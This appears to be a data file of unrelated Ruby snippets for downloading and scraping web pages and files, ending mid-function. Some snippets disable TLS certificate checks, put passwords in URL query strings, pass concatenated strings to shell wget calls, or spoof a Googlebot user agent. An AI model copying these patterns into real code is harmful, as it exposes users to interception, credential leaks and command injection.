"def download\n #TODO: add time frame for downloading at a specific time\n src_url = get_pdfs_webpage_urlstr ;\t# puts src_url\n \n pdf_urls = []\n begin\n open(src_url) {\n |page| page_content = page.read().force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n doc = Nokogiri::HTML.parse(page_content) #HTree(page_content).to_rexml\n doc.xpath(\"//a\").map do |elem| #doc.root.each_element('//a') do |elem |\n #puts elem\n #a = elem.attribute(\"href\").value\n a = elem['href']\n #puts a\n if a =~ /.pdf$/\n pdf_urls << File.join(src_url.slice(0,src_url.rindex('/')),a)\n pdf_urls.uniq!\n end\n end\n }\n # p(pdf_urls)\n rescue => e\n puts \"#{src_url} failed to open! #{e}\"\n raise \"please check URL #{src_url}\"\n end\n \n ## should NOT be apparent to the user.\n urls_file = \"#{get_newspaper_sym}#{self.object_id}\"\t## same file not allowing the multithreading, ensure singularity.\n f = File.new(urls_file , \"w\") ; f.puts pdf_urls ; f.close\n repo = target_dir ;# puts repo\n system(\"wget -nv -i \" + urls_file +\" -P \" + repo)\t## download using wget tool\n File.delete urls_file if File.exists? urls_file\t## clean\n end",
"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend",
"def fetch_url(url = '',sleep_time = 0)\n state = \"total\";\n\n if (url == '') then url=@url; end\n\n b = Watir::Browser.new :chrome\n \n # b.goto('worldometers.info')\n # b.cookies.add 'foo', 'bar', path: '/', expires: (Time.now + 10000), secure: true\n \n b.goto(url)\n\n if (sleep_time > 0) then sleep sleep_time end\n \n doc = Nokogiri::HTML.parse(b.html())\n b.close();\n\n ts = DateTime.now();\n\n server = url.split('/')[2];\n if (server == \"web.archive.org\") then\n #------------------------------------------------------------------------------\n # redefine output file name based on the time, encoded in the snapshot name\n #------------------------------------------------------------------------------\n time = url.split('/')[4];\n year = time[ 0,4].to_i\n mon = time[ 4,2].to_i\n day = time[ 6,2].to_i\n hour = time[ 8,2].to_i\n min = time[10,2].to_i\n sec = time[12,2].to_i\n ts = DateTime.new(year,mon,day,hour,min,sec,'+00:00');\n end\n\n output_fn = @output_dir+'/html/'+ts.strftime()+'_'+@country+'_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc);\n f.close();\n \n return ;\n end",
"def download_file #DOWNLOADS FIRST AVAILABLE FILE\r\n \r\n link = \"/html/body/form/table[5]/tbody/tr/td/table/tbody/tr/td/table[5]/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/span/table/tbody/tr[2]/td[6]/span/a\"\r\n \r\n #if browser.text.include? @time_web_format\r\n complete = false\r\n tries = 0\r\n until complete || tries == 5\r\n \r\n if browser.cell(:xpath, link).exists?\r\n \r\n #RENAME ZIP FILE IF IT ALREADY EXISTS.\r\n #EXPLICIT PATH DOWNLOAD FOLDER!!!\r\n zipfile_path = \"#{$paths.imports_path}StudentResultsExport_Extended.zip\"\r\n if File.exists?(zipfile_path)\r\n File.rename(zipfile_path,\"#{zipfile_path.gsub(\".zip\",\"_#{$ifilestamp}.zip\")}\")\r\n end\r\n \r\n browser.cell(:xpath, link).click\r\n return true\r\n \r\n end\r\n tries += 1\r\n end\r\n return false\r\n #end\r\n end",
"def download(url, download_to=File.expand_path(\".\")+File::SEPARATOR)\n $LOG.info \" Starting download of fillings from SEC url [\"+url+\"]\"\n files=[]\n content = open(url).read\n @links = Set.new\n uri=URI(url)\n @base_path=\"\"\n @base_path=(uri.scheme+\"://\"+uri.host+((uri.port==80 && \"\") || \":\"+uri.port.to_s)) unless uri.host.nil?\n parse(content)\n download_to += File::SEPARATOR unless download_to.end_with?(File::SEPARATOR)\n mkdir(download_to)\n @links.each do |link|\n file=download_to + link.split(\"/\")[-1]\n dump_to_file(file, open(link).read)\n files << file\n end unless uri.host.nil?\n files\n end",
"def read_webpage(doc)\n return if doc.uri =~ /\\.(pdf|ps|eps|doc|ppt|xls|mov|avi|jpg|png|jpeg|gif|tif)$/i\n begin\n timeout(TIMEOUT) do\n info \"[read_webpage] Downloading #{doc.uri}\"\n open(doc.uri) do |f|\n #puts \"Content : #{f.read}\"\n doc.write_attribute(:content,clear_webpage(f.read))\n doc.save!\n end\n #debugger\n end\n rescue TimeoutError => e\n warn \"Timeout w/ #{doc.uri}\"\n rescue Exception => e\n #print(e)\n error \"[read_webpage] Other Error! #{e.inspect}\"\n end\n end",
"def each_day url, doc=download(url)\n doc.css('.heading1 a').each do |week_node|\n doc2 = download(url + week_node[:href])\n doc2.css('.wd a').each { |a_wday| yield url + a_wday[:href] }\n end\n doc\n end",
"def fetch_issue(page, filename)\n link = page.link_with(:href => /downloads/)\n if link == nil\n puts \"No link found for #{filename}\"\n return\n else\n puts \"fetching #{filename}\"\n pdf = link.click\n pdf.save_as(filename)\n end\nend",
"def download_work_papers\n review = @conclusion_draft_review.review\n review.zip_all_work_papers current_organization\n\n redirect_to review.relative_work_papers_zip_path\n end",
"def perform()\n @date = Date.today\n download\n end",
"def fetch # rubocop:disable Metrics/AbcSize,Metrics/MethodLength\n t1 = Time.now\n puts \"Started at: #{t1}\"\n\n docs = Nokogiri::XML OpenURI.open_uri URL\n FileUtils.mkdir_p @output\n FileUtils.rm Dir[File.join(@output, \"*.#{@ext}\")]\n docs.xpath(\"/body/query/doi_record/report-paper/report-paper_metadata\")\n .each { |doc| parse_doc doc }\n\n index.save\n t2 = Time.now\n puts \"Stopped at: #{t2}\"\n puts \"Done in: #{(t2 - t1).round} sec.\"\n rescue StandardError => e\n warn e.message\n warn e.backtrace[0..5].join(\"\\n\")\n end",
"def download_progguide(prog_guide_url)\n return download_data(\"http://www.channel4.com#{prog_guide_url}\")\n end",
"def getlist(url)\n @url = url\n doc = Nokogiri::HTML(open(@url))\n # @fileset = doc.css(\"td a\")[1..-1]\n @fileset = doc.css(\"td a\")[1,1] #revert to above after testing\n @fileset.each do |item|\n @docname = item.text\n puts \"Downloading #{@docname}\"\n # download the zip files\n download(@url, @docname, \"/vagrant/src/ruby/JobSearch/nuvi/download/\")\n # unzip(@docname, @downloadpath)\n @zipcount += 1\n end\n @zipcount == @fileset.length ? (puts \"Retrieved #{@zipcount} zip files.\") : (puts \"missed a few\")\nend",
"def start_download(blatt)\n\t File.open(\"/tmp/#{tractate_name}_#{blatt}.pdf\", \"wb\") do |f|\n f.write HTTParty.get(\"http://www.kolhalashon.com/imgs/Vilna/#{tractate_name}/#{tractate_name}_Amud_#{amud_conversion(blatt)}.pdf\").parsed_response\n end\n\tend",
"def download(url)\n Net::HTTP.get_response(url)\n end",
"def download_data\n puts 'Downloading data ...'\n\n cmd = \"wget --output-document=#{DATA_PATH} #{SFPD_DATA}\"\n system cmd\n end",
"def download()\n get_page\n puts \"Page Found\"\n get_img_names\n get_img_links\n len = @imgLinks.length\n a = @imgLinks\n files = @files\n len.times do |f|\n puts \"#{a[f]} found\"\n File.open(files[f], \"w\") do |fo|\t\n fo.write open(a[f]).read\n\t\tend\n puts \"#{files[f]} downloaded\"\n end\n end",
"def download\n create_agent\n login\n fetch_feed\n create_catalog\n download_catalog\n end",
"def download_url\n process_emulation 10\n clear_progress_bar\n self.downloaded_at = Time.now.utc\n save! && ready!\n end",
"def request_page_and_get_book_html(cookies)\n http = Net::HTTP.new('clop.hit.edu.cn')\n get_book_path = '/listBookingInfos.action' \n get_book_response = http.get(get_book_path, { 'Cookie' => cookies } )\n s = ''\n s = get_book_response.body\n end",
"def download(url, filename, outputFolder)\r\n loadStatus = true\r\n begin\r\n Net::HTTP.start(url) { |http|\r\n t= Time.now\r\n filedate = t.strftime(\"%m%d%Y\")\r\n\t\tif url == \"downloads.cms.gov\"\r\n\t\t\tresp = http.get(\"/medicare/#{filename}\")\r\n\t\telse\r\n\t\t\tresp = http.get(\"/download/#{filename}\")\r\n\t\tend\r\n\r\n open(\"#{outputFolder}#{filedate}#{filename}\", \"wb\") { |file|\r\n file.write(resp.body)\r\n }\r\n }\r\n\r\n puts \"download of #{filename} complete\"\r\n rescue Exception=>e\r\n loadStatus = false\r\n end\r\n return loadStatus\r\nend",
"def download(county)\n puts \" F95BA #{county}\"\n results = @client.find :all, {\n class: '1', # 1 Residential\n query: \"(246=|A),(61=|#{county})\", #246 ListingStatus\n #A ActiveAvailable\n #61 County\n select: '157,881,10,922,924,137,261,129,246,80,61,25,1424,102,214,314,96,1,131,1329,sysid', \n search_type: 'Property'\n }\n puts \"F95BA #{results.size} listings\"\n #puts \"F95BA saving\"\n pg_save(results)\n results\n end",
"def dump_web_pages_of_univ(filename,content)\n File.open(\"./page_data/#{filename}\", \"w+\" ) do |f|\n f.puts(content)\n end\n\n # keep a checklist of downloaded/missing one\n \n\nend",
"def download\n api_url = build_url\n RestClient::Request.execute(method: 'GET', url: api_url, open_timeout: 20)\n end",
"def download_file url\n check_session\n result = api_client.execute(:uri => url)\n if result.status == 200\n return result.body\n else\n puts \"An error occurred: #{result.data['error']['message']}\"\n return nil\n end\n end",
"def download(url)\n filedl = url.split(\"/\").last\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n open(filedl, \"w\") do |file|\n file.write(response.body)\n end\n return filedl\nend",
"def download\n open(download_url, \"rb\")\n end",
"def download(url)\n STDERR.print \"loading #{url}\"\n response = Faraday.get(url)\n STDERR.puts ' (done)'\n response.body\n end",
"def show\n puts \"Downloading %s\" % @@clonePW['url'].to_s\n @@thread = download(@@clonePW['url'].to_s)\n @progress_web=@@clonePW\n @@start = Time.now\n\n end",
"def fetch\n notify \"Downloading...\"\n @strategy.fetch\n extract\n end",
"def fetch_and_store!\n # Get links from page\n # Download files from links concurrently\n download self.extract!\n end",
"def download_game(game)\n page = agent.get(game.fetch(:page_url))\n download_url = find_download_url(page)\n\n unless download_url\n puts \"Cannot download #{ game.fetch(:name) }\"\n return\n end\n\n Helpers.wait\n throw :interrupted if interrupted?\n print \"#{ download_url } -> #{ game.fetch(:file_path) }\"\n\n File.open(game.fetch(:file_path), 'wb') do |file|\n file << agent.get(download_url).body\n end\n\n puts\n end",
"def download(path)\n uri = URI.parse(configuration.browser_url + path)\n puts \"downloading #{uri.to_s}\"\n Net::HTTP.get(uri)\n end",
"def download(path)\n uri = URI.parse(context.browser_url + path)\n puts \"downloading #{uri.to_s}\"\n Net::HTTP.get(uri)\n end",
"def download_slideshow\n Down.download bucket_url.url\n end",
"def scrape_search_page(agent, alphabetical_search_page, base_url)\n\n # Retrieves paper tags, meaning names and URLs\n paper_tags = alphabetical_search_page.parser.xpath('//tr//td//a')\n paper_urls = paper_tags.map { |link| link['href'] }\n paper_names = paper_tags.map { |link| link.text.strip }\n\n # Creates array of paper download links per page\n paper_links = Array.new\n paper_urls.each do |paper|\n # handles relative URIs && login\n paper_url = base_url + paper\n agent.add_auth(paper_url, ENV['IC_USERNAME'], ENV['IC_PASSWORD'])\n begin\n paper_page = agent.get(paper_url)\n paper_link = paper_page.parser.xpath('//a[contains(text(), \"Download\")]').map { |link| link['href'] }\n paper_links << paper_link[0]\n rescue Exception => e\n puts(e.message)\n end\n end\n\n thread = Thread.new do\n download_files_from_URLs(agent, Dir.pwd, paper_links, paper_names, URI(base_url))\n end\n thread.join\n end",
"def download_url\n uri = URI(\"https://download.mozilla.org/?product=#{firefox_product}&os=#{firefox_os}&lang=#{new_resource.lang}\")\n response = Net::HTTP.start(uri.host, use_ssl: true, verify_mode: OpenSSL::SSL::VERIFY_NONE) do |http|\n http.get uri.request_uri\n end\n raise(\"#{response.code} #{response.message}: #{uri}\") unless response.is_a?(Net::HTTPRedirection)\n response['location']\nend",
"def getwebsite()\n\tpage = Nokogiri::HTML(open(\"https://annuaire-des-mairies.com/val-d-oise.html\"))\n\tsession = GoogleDrive::Session.from_config(\"config.json\")\n\tws = session.spreadsheet_by_key(\"1v7XEnpGDtgjgRom3bp7OwzaK99zlUQIfKuW3QdawXBc\").worksheets[0]\n\tcities = \"\"\n\ti = 1\n\t#define a loop for list of emails\n\tpage.css('a.lientxt').each do |town|\n\t\tsite = \"https://annuaire-des-mairies.com\" + town['href'][1..-1]\n\t\tcities = town.text\n\t\tws[(i), 1] = cities\n\t\tws[(i), 2] = getemail(site)\n\t\ti += 1\n\tend\n\tws.save\nend",
"def download\n response = Clickmeetings.with_client(client_options) do\n Clickmeetings.client.connect.get remote_url(__method__, id: id) do |req|\n req.headers.merge! default_headers\n end\n end\n response.body\n end",
"def parse_wa()\n state = \"WA\";\n url = 'https://www.doh.wa.gov/emergencies/coronavirus'\n\n browser = Watir::Browser.new\n browser.goto(url);\n\n sleep 10\n\n html = browser.html\n doc = Nokogiri::HTML.parse(html)\n \n tnow = DateTime.now().strftime();\n\n output_fn = \"data/\"+tnow+'_USA_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc)\n \n# list_of_tables = doc.css(\"//table\");\n\n# for table in list_of_tables\n# f.puts(table)\n# end\n\n f.close();\n browser.close(); \n return ;\nend",
"def download!(source_url, destination_file); end",
"def retrieve_github_files(url)\n\n #create a virtual browser with a Chrome Windows Agent\n agent = Mechanize.new\n agent.user_agent = CHROME_USER_AGENT\n\n #retrieve the page and report if page not found (404)\n begin\n page = agent.get(url)\n rescue Exception => e\n #REPORT THE ERROR\n end\n\n #recursively download all content\n get_files_from_github_page(page)\n\n end",
"def windows_wget_powershell\n win_wget_ps = <<-WGET_PS\n param(\n [String] $remoteUrl,\n [String] $localPath\n )\n\n $webClient = new-object System.Net.WebClient;\n\n $webClient.DownloadFile($remoteUrl, $localPath);\n WGET_PS\n\n escape_and_echo(win_wget_ps)\n end",
"def download_paper(links)\n \n filename = \"\";\n\n links.each do |link|\n puts \"trying: \\t\"+link\n \n # prvne zkontroluji, zda stranka nevraci 404\n parsed_url = URI.parse(link)\n response = Net::HTTP.get_response(parsed_url)\n \n case response\n when Net::HTTPSuccess then\n puts \"downloading\"\n data = Net::HTTP.get(URI.parse(link))\n\n # pokud je soubor z cache - musi se typ souboru dostat z URL - parametr type\n if(link =~ /^#{Regexp.escape(@url)}.*/)\n regex = Regexp.new(/type=([a-z]+)/)\n ext = \".\"+regex.match(link).to_a[1]\n #jinak se pouzije nazev souboru\n else\n ext = File.extname(link)\n end\n\n hash = self.get_hashed_filename(link)\n filename = hash + ext \n\n # ulozi soubor do prislusne slozky\n self.save_paper_file(filename, data)\n break;\n\n else \n puts \"nelze stahnout!!!1\"\n next # jinak skoci na dalsi soubor\n end\n end # .each\n\n puts \"soubor: \\t\"+filename\n\n if(filename == \"\")\n return nil\n else \n return filename\n end\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.path) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def download(url, cookie = '')\n escaped_url = URI.escape(url)\n\n begin\n open(escaped_url, 'Cookie' => cookie, :read_timeout => 5)\n rescue OpenURI::HTTPError => error\n puts \"The network request for:\\n #{url}\\nreturned an error:\\n #{error.message}\"\n puts \"Please try again later or update Pandata. Sorry about that!\\n\\nFull error:\"\n raise PandataError\n end\n end",
"def download(from, to = from.split(\"/\").last)\n #run \"curl -s -L #{from} > #{to}\"\n file to, open(from).read\nrescue\n puts \"Can't get #{from} - Internet down?\"\n exit!\nend",
"def download_install_file(action, args={})\n company = @company\n username = @user\n password = @password\n url = \"https://#{company}.logicmonitor.com/santaba/do/#{action}?\"\n args.each_pair do |key, value|\n url << \"#{key}=#{value}&\"\n end\n url << \"c=#{company}&u=#{username}&p=#{password}\"\n uri = URI(url)\n begin\n http = Net::HTTP.new(uri.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(req)\n return response.body\n rescue SocketError => se\n puts \"There was an issue communicating with #{url}. Please make sure everything is correct and try again.\"\n puts se.message\n rescue Error => e\n puts \"There was an issue.\"\n puts e.message\n end\n return nil\nend",
"def extract!\n browser = Mechanize.new\n puts \"Fetching #{uri}\".colorize(:yellow)\n page = browser.get(uri) rescue nil\n data = page.links_with(:href => /zip/).map(&:text)\n puts \"Extracted #{data.size} links from page\".colorize(:green); ap data\n\n data\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.request_uri) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def scrape\n\t\turl = 'http://www.wsj.com/xml/rss/3_7455.xml'\n open(url) do |rss|\n \tfeed = RSS::Parser.parse(rss, false)\n puts \" \"\n puts \"*********************************\"\n \tputs \"Title: #{feed.channel.title}\"\n puts \"--------------------------------\"\n feed.items.each do |item|\n tags = tag_article(item.title.to_s)\n \tarticle = Article.new(title: item.title.to_s, \n summary: item.description.to_s.gsub(/\\\"/,''), \n link: item.link, \n date: item.pubDate.to_s.gsub(/,/,''),\n tag_list: tags, \n source: \"Wall Street Journal\")\n article.save\n end\n end\n end",
"def download_file(uristr)\n uri = URI.parse(uristr) # parse the url string\n http = Net::HTTP.new(uri.host, uri.port) # create a connection to the http server\n http.open_timeout = 5\n\n DocumentHelper.verify_ssl(uristr, http)\n\n req = Net::HTTP::Get.new(uri)\n res = http.request(req) # get the response\n\n status_code = res.code\n if status_code != '200' # checking status code\n raise \"Document editing service returned status: #{status_code}\"\n end\n data = res.body # and take its body\n\n if data == nil\n raise 'stream is null'\n end\n data\n end",
"def rip\n # mech = Mechanize.new\n\n tag = folder\n puts \"Downloading Tag: '%s'...\" % tag\n cd_to folder_path(tag)\n\n base_url = url[/https?:..[^\\/]*/]\n next_link = url\n begin\n puts \"Downloading page '%s'...\" % next_link\n # doc = mech.get(next_link)\n doc = doc_for_url(next_link) # mech.get(next_link)\n links = doc.links\n next_link = links.find{|a| a.attributes.any?{|k,v| [k,v] == ['class','next_page'] } }\n next_link &&= base_url + next_link.href\n pages = links.select{|a| a.attributes.any?{|k,v| k == 'class' && v =~ /thumb/ } }\n pages.map do |a|\n puts \"a.href => #{base_url + a.href}\"\n # m = Mechanize.new\n # pg = m.get base_url + a.href\n pg = doc_for_url(base_url + a.href) #m.get base_url + a.href\n img = pg.links.find{|pga| pga.dom_id == 'highres' }\n\n if img == nil\n puts \"CAN NOT FIND #highres on '%s'\" % a.href\n next\n end\n\n filename = \"%s\" % [File.basename(img.href).sub(/\\?.*/,'')]\n\n if File.exists? filename\n puts \"Skip existing file '%s'...\" % filename\n else\n puts \"Saving '%s'...\" % filename\n # m.get(img.href).save_as(filename)\n doc_for_url(img.href).save_as(filename)\n end\n end\n end while next_link\n end",
"def scrape\n end",
"def download(file)\n uri = URI.parse(file)\n id=uri.query.match(/id=(.*)/)[1]\n\n Net::HTTP.start(uri.host) do |http|\n resp = http.get(uri.path + \"?\" + uri.query)\n open(\"docs/#{id}.pdf\", \"wb\") do |file|\n file.write(resp.body)\n end\n end\n id\nend",
"def fetch\n\t\tbegin\n\t\t\tresponse = RestClient.get(@url,:user_agent => @user_agent.get_user_agent)\n\t\t\tdoc = Nokogiri::HTML(response)\n\t\t\treturn doc\n\t\trescue Exception => e\n\t\t\tLogWriter.error(e)\n\t\t\tthrow e\n\t\tend\n\tend",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n ManageIQ::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to @version.download_url\n end",
"def fetchPage(url)\n Nokogiri::HTML(open(url, 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.152 Safari/535.19').read, nil, 'utf-8')\n end",
"def read_page(url)\n download(url, Downloader.cookie).read\n end",
"def download_resource(url, path)\n FileUtils.mkdir_p File.dirname(path)\n the_uri = URI.parse(URI.escape(url))\n if the_uri\n data = html_get the_uri\n File.open(path, 'wb') { |f| f.write(data) } if data\n end\n end",
"def download(url, filename)\n require 'open-uri'\n if File.exists?(\"lib/\" + filename)\n puts \"'#{filename}' is already downloaded... skipped\"\n else\n puts \"'#{filename}' downloading...\"\n File.open(\"lib/\" + filename, \"wb\") do |saved_file|\n open(url + filename, \"rb\") { |read_file| saved_file.write(read_file.read) }\n end\n end\nend",
"def downloadComments(username, cookies)\n url = 'https://news.ycombinator.com/threads?id=' + username\n ret = RestClient.get url, :user_agent => \"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\", :cookies => cookies\n return ret\nend",
"def get_from_espn\n $log.info(\"Initializing...\")\n response = HTTParty.get('http://m.espn.go.com/ncf/teamschedule?teamId=127&wjb=')\n if response.code == 200\n doc = Nokogiri::HTML(response.body)\n $log.info(\"Got page from ESPN okay.\")\n else\n raise ArgumentError, error_message(url, path)\n end\n\n return doc\nend",
"def download_quest\n send_file(\"#{RAILS_ROOT}/public/questionnaire.doc\") \n end",
"def get(docid)\n @@docid = docid \n human_call(\"start_page\", @@browser)\n human_call(\"login_check\", @@browser)\n human_call(\"login_click_guest\", @@browser)\n human_call(\"login_click_accept\", @@browser)\n human_call(\"navi_click_search\", @@browser)\n human_call(\"navi_click_instrument\", @@browser)\n human_call(\"form_fill_search\", @@browser, @@docid)\n human_call(\"result_select\", @@browser)\n human_call(\"result_download\", @@browser, @@docid)\n sleep 3\n end",
"def download_html_file(url)\n\t\tputs \"Downloading html page\"\n\t\twget_options = [\n\t\t\t'wget',\n\t\t\t'--continue',\n\t\t\t\"'#{url}'\",\n\t\t\t\"-O #{@tmp_html.shellescape}\",\n\t\t\t'--quiet'\n\t\t]\n\t\t%x[#{wget_options.join(' ')}]\n\tend",
"def service_document\n response = get(@url.to_s)\n response.body\n end",
"def download\n link=params[:link]\n all_html = Nokogiri::HTML(open(link))\n create_folder\n save_html(all_html)\n #Get All CSS File\n all_html.xpath('//link/@href').each do |row|\n if check_link(row)\n css_path=row\n else\n css_path=link+row\n end\n getcss(css_path)\n end\n #Get All JS File\n all_html.xpath('//script/@src').each do |row|\n if check_link(row)\n js_path=row\n else\n js_path=link+row\n end\n\n getjs(js_path)\n end\n #Get All Images File\n all_html.xpath('//img/@src').each do |row|\n if check_link(row)\n images_path=row\n else\n images_path=link+row\n end\n\n getimages(images_path)\n end\n end",
"def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n BonsaiAssetIndex::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to helpers.download_url_for(@version)\n end",
"def fetch\n open(to_url) { |io| io.read }\n end",
"def download(url)\n\t\turi = URI.parse(url)\n\t\thttp = Net::HTTP.new(@host, @port)\n\t\thttp.use_ssl = true\n\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue\n\t\theaders = {'Cookie' => \"nexposeCCSessionID=#{@session_id}\"}\n\t\tresp, data = http.get(uri.path, headers)\n\t\tdata\n\tend",
"def download_content(object_url, filename)\n raw_html = open(object_url, :read_timeout => 60).read\n puts object_url\n puts filename\n File.open(filename, \"w\") { |file| file.write(raw_html) }\nend",
"def scrape\n setup_capybara\n log_in\n\n FileUtils.mkdir_p(@folder)\n filename = \"#{@folder}/endesa_#{month}_#{@year}.pdf\"\n document.save(filename)\n filename\n end",
"def url\n @client.get_download_link(@path)\n end",
"def downloadTwitterWebPage\n twitterURL = 'https://twitter.com/' + @screen_name\n\n uri = ::URI.parse(twitterURL)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Make the HTTP request to Twitter.\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n\n # If it's not accepted, throw an exception.\n @web_page = response.body\n end",
"def download(url)\n response = client.send(:get, url, {}, 'Content-Type': 'text/html')\n raise ::Errors::BadRequest unless response.success?\n\n response.body\n end",
"def generate(site)\n begin\n Dir.mkdir('scripts') unless Dir.exists?('scripts')\n Dir.mkdir('_data') unless Dir.exists?('_data')\n Dir.mkdir('_data/jailRoster') unless Dir.exists?('_data/jailRoster')\n rescue Exception => msg\n puts \"Error creating directories\"\n puts msg\n end\n\n begin\n # open('scripts/PrecinctInfo.js', 'w') do |file|\n # file << open('http://www.canyonco.org/CanyonCounty/Webparts/Elections/js/PrecinctInfo.js?v2').read\n # end\n\n open('_data/arrests.json', 'w') do |file|\n file << open('http://api.canyonco.org/Sheriff/CurrentArrest').read\n end\n\n open('_data/jailList.json', 'w') do |file|\n file << open('http://api.canyonco.org/Sheriff/JailList').read\n end \n rescue Exception => msg\n puts \"Error downloading content\"\n puts msg\n end\n end",
"def download_internal_best_bets\n\tunless ENV['FUNNELBACK_PASSWORD']\n\t\tabort('The FUNNELBACK_PASSWORD enviornment variable is not set')\n\tend\n\tbegin\n\thttp = Net::HTTP.new(ENV['FUNNELBACK_DOMAIN'],ENV['FUNNELBACK_PORT'])\n\treq = Net::HTTP::Get.new(\"/search/admin/download-conf.cgi?collection=website&f=best_bets.cfg&dir=profile-folder-internal-preview\")\n\thttp.use_ssl = true\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\treq.basic_auth ENV['FUNNELBACK_USERNAME'], ENV['FUNNELBACK_PASSWORD']\n\tresponse = http.request(req)\nrescue\n \terb :loaderror\n else\n\t\n\topen(\"data/best-bets-internal.txt\", \"wb\") { |file|\n\t\tfile.write(response.body)\n }\nend\nend",
"def get_results(url) #pass url in as argument\n scraper = make_scraper\n url=\"https://www.dice.com/jobs?q=rails&l=Washington%2C+DC&searchid=7137101740189\"\n page = scraper.get(url)\n end",
"def get_page\n @html_doc = Nokogiri::HTML(open(\"https://en.wikipedia.org/wiki/2020_NBA_playoffs\"))\n return @html_doc\n end",
"def scrape_pages(url)\n\n pages = []\n\n agent = Mechanize.new do |agent|\n agent.user_agent_alias = \"Windows Chrome\"\n\n pages << agent.get(url)\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n sleep(0.5)\n pages << pages.last.link_with(id: 'nextWeek').click\n end\n\n pages\n end",
"def track_download\n connection.get(links.download_location)[\"url\"]\n end",
"def opendap_urls\n @collection = params[:collection]\n @project = params[:project]\n\n ous_response = fetch_ous_response(params)\n\n # Prevent the user from having to type their earthdata username if they use the download script\n @user = current_user.urs_profile['uid']\n\n set_ous_root\n\n # To properly construct the download script we need the\n # first link to ping and ensure its accessible\n # ----\n # NOTE: We strip off any query params from this link because this variable\n # is only used to ensure the endpoint works and certain characters in OPeNDAP\n # land cause errors to be displayed on the screen. We only care that the host\n # responds, the parameters are not important.\n @first_link = ous_response.fetch('items', []).first[/[^@?]+/]\n\n if request.format == :text || request.format == 'html'\n render 'opendap_urls.html', layout: false\n else\n render 'prepare_opendap_script.html.erb', layout: false\n end\n end",
"def download\n \n @tmpfile = fetch_remote(location)\n \n @fetched_at = Time.new\n \n return @tmpfile\n \n end",
"def download_in_background options={}\n begin\n self.download( options.merge( { :fork => true } ) )\n rescue Exception => e\n SCRAPER_LOG.error( \"Skipped dowloading '#{location}': #{e.message}\" )\n end\n end",
"def download_people_data\n print \"Getting IDs of articles about people...\\n\"\n PeopleGetter.new([MEN_URL, WOMEN_URL]).result\n end",
"def download_printer_data\n \tSpreadsheet.client_encoding = 'UTF-8'\n\t\tbook = Spreadsheet::Workbook.new\n \t \tsheet1 = book.create_worksheet \n \t \tsheet1.name = \"Printer Data #{PrinterSelection.last.from_time} - #{PrinterSelection.last.to_time}\"\n \t \t\n \t \t#formatting\n \t \tdate_time = Spreadsheet::Format.new :number_format => 'DD/MM/YYYY hh:mm:ss'\n \t \tsheet1.column(4).default_format = date_time\n \t \tsheet1.column(5).default_format = date_time\n \t \t\n \t \tbold = Spreadsheet::Format.new :weight => :bold\n \t \tsheet1.row(0).default_format = bold\n \t \t \t \t\t\n \t \t#name\n \t \tsheet1.column(0).width = 20\n \t \t#project\n \t \tsheet1.column(1).width = 20\n \t \t#printer\n \t \tsheet1.column(2).width = 20\n \t \t#volume\n \t \tsheet1.column(3).width = 15\n \t \t#date\n \t \tsheet1.column(4).width = 20\n \t \t#time taken\n \t \tsheet1.column(5).width = 30\n \t \t#notes\n \t \tsheet1.column(6).width = 50\n \t \t\n \t \t#content\n \t \tsheet1.row(0).push 'Name', 'Project', 'Printer', 'Volume','Date', 'Time Taken (m)', 'Email', 'Notes'\n \t \tall_data = PrinterDatum.all\n sorted_all_data = all_data.sort{ |a,b| a.to_time <=> b.to_time}\n\t\tselection = PrinterSelection.last \t \t\t\n \t \trownum = 1\n sorted_all_data.each do |data| \n \t \t if data.from_time >= selection.from_time && data.to_time <= selection.to_time\t \t\t\t\t\n \t \t row = sheet1.row(rownum)\n\n \n from_time = data.from_time\n to_time = data.to_time\n distance_in_hours = (((to_time - from_time).abs) / 3600).round\n 